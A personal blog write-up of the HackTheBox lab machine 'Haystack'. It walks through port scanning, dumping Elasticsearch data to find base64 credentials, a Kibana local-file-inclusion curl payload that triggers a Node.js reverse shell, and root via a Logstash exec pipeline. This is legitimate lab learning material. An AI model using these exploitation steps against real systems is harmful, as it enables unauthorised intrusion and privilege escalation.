Haystack — Hackthebox Writeup

Jake Flint
7 min readJan 26, 2020

--

Haystack was the most satifying machine I’ve rooted so far. I’d never used the ELK stack and tried to avoid interacting with databases where I could, but this machine forced me to read docs and articles quite thoroughly in order to solve it.
Comparing to what I’ve done so far, I would increase its difficulty from “Easy” to “Medium”, but that’s just my opinion.

nmap -v -A -p22,80,9200 10.10.10.115

I’m getting smarter with nmap. I run nmap -vv -sS -T5 -p- first to find that 22, 80, and 9200 are open, and then run an aggressive scan on only those ports. This cuts down my nmap scanning from 5–10 minutes to 1–2, which doesn’t seem like a big deal when I’m only attacking one host, but will pay off when I’m scanning a whole network.

There’s a picture of a needle on port 80 and gobuster doesn’t find anything else at all. I find out later that the needle contains a base64 string with a clue, but I didn’t need it. I should add this to my list of obscure places for clues to hide when I’m really stuck on getting a foothold in the future.
I note that the openSSH version is one where I can enumerate users. Searchsploit has a few entries for nginx > 1.12.2, but I check out port 9200 in my browser first.

http://haystack.htb:9200

I see an elasticsearch (version 6.4.2) database. This version seems to be from late 2018, so none of the searchsploit results will help me here.
I run gobuster and get some results.

Some strange gobuster results

The “bank” and “quotes” indices seem to be the interesting ones. I begin learning to use the search API and am able to dump the personal data in /bank, but have trouble with /quotes.

I find out that elasticdump exists and use that instead. It dumps it all into one file, which I sort through in Sublime Text.
I split the /bank data off in case I need to make a wordlist later for some credential bruteforcing, and focus on the /quotes index. Why? Because it looks interesting.

Some of the data in the /quotes index

This is obviously the “Haystack” part. I end up with 253 Spanish quotes about the history of Santiago, the Bahamas, and other South American cities.

Once I’ve cleaned up the JSON and only have Spanish quotes, I use an online translator to translate it into English and scan through it for anything out of the ordinary.

Base64 encoded username
Base64 encoded password

These strings are base64 encoded credentials.

Because a lot of machines are running openSSH 7.4, I love using a < 7.7 user enumeration exploit, so I do that before I SSH in and grab the user flag.

I take a look at /var/www/html but there really was only needle.jpg on port 80. ‘security’ is the only user in /home. There’s no easy win with “sudo -l”.

I can’t use wget, so I curl LinEnum.sh over to /tmp. I run it and scan through the results. Things I’m looking for but don’t find:

  • Another non-root user
  • Interesting cron jobs
  • SUID files
  • Networked machines/services

I think the kernel might be vulnerable to DirtyCOW, perhaps it was just patched in that version. But I don’t care to use that anyway.

I find a folder containing config files that I’m unable to read now, so I note it down for later.

/etc/logstash/conf.d/

Three processes stick out, though. One is elastic+ running elasticsearch, one is kibana running kibana, and the largest one is root running logstash.

I check out the kibana service first, because it specifies a config file that I can check out. Most of it has been commented out, but I can see that Kibana runs a server on 127.0.0.1:5601.

A search for Kibana vulnerabilities comes up with a LFI (Local File Inclusion) bug from late 2018
https://www.cyberark.com/threat-research-blog/execute-this-i-know-you-have-it/
The article is excellent, and tells us that this LFI vulnerability comes with a path traversal vulnerability!

I have access to the server so I go to the /tmp folder and drop a Node.js reverse shell there. I can’t get the exact command in the article working, the “SENSE_VERSION” stuff seems to break it.
This part took a lot of trial and error, and the payload that ended up working for me was:

curl -H “kbn-xsrf: reporting” localhost:5601/api/console/api_server?apis=../../../../../../../../../../../../tmp/greep.js

Our new shell as “kibana”

Now that I’ve got access to the machine as “kibana” as well as “security”, my odds of privesc to root are good.

First, I check /usr/share/logstash/logstash-core/lib/jars to see if any of the jar files that are imported by root are missing. If any are, I could create my own that does whatever I want (prints the root flag, copies it somewhere, reverse shell). Unfortunately they’re all there and are owned by the “logstash” user. I will need to escalate to this user to pursue this idea.

The /etc/logstash directory has a lot to see though. “pipelines.yml” mentions “/etc/logstash/conf.d/*.conf”. My first thought is to abuse this wildcard and put my own .conf file in here, but after a lot of trying I’m unsuccessful.

Next, I actually read the .conf files and pull up the logstash documentation to understand how it works.

The config files in /etc/logstash/conf.d

The “input” configuration file specifies the path where it’ll pick up logs, sets a few flags (type, mode), and sends the file to /dev/null (I think).

Next, logstash uses the “filter” configuration file to filter out any logs it doesn’t care about. In this case, it wants to collect logs with the “execute” type that the input config file set, and matches the text “Ejecutar comando:”.
A grok is a pattern scanner like gawk or regex. This grok sets the text after “Ejecutar comando:” as a variable “comando”

This grok debugger was a great help, as well as the following logstash docs and guides:
https://grokdebug.herokuapp.com/
https://logz.io/blog/logstash-grok/
https://logz.io/blog/debug-logstash/
https://www.elastic.co/guide/en/logstash/current/running-logstash-command-line.html
https://www.elastic.co/guide/en/logstash/current/config-examples.html
https://discuss.elastic.co/t/grok-path-matching/51476

Finally, logstash does with the logs what is specified in the “output” configuration file. This one runs “exec” on the “comando” variable that was set during the “filter” stage.

Creating the filter/input conforming bash reverse shell

I change to “/opt/kibana/”, the directory specified in the input file, and leave my payload there as a file “logstash_5”. From my understanding of the input file, logstash will check for this file within 10 seconds.

Waiting for logstash to see the payload

I’m sure it took longer than 10 seconds, but eventually logstash sends my file to /dev/null and processes it. I catch the root shell and get the flag.

Done!

This machine took all kinds of trial and error to root. I had a lot of trouble using vim while SSHed in as the security user because when I pasted in my reverse shell, letters were missing and the tab formatting disappeared.
I’m not sure why this happened, I always thought SSH shells were almost perfect. Instead, I prepared the Node.js reverse shell on my machine and curled it over.
Combined with getting a LFI cURL payload that worked properly and the constant reset requests of other users, escalating to kibana was hell.

I also spent far too much time trying to create my own .conf file and running logstash with extra options. As soon as I took the time to read the existing .conf files and understand them, the final step was very clear.

I’m used to unstable shells now, but I need to find out why vim was so hard to use over SSH.
All in all, Haystack was great fun and a good lesson in persistence and RTFM.

--

--

No responses yet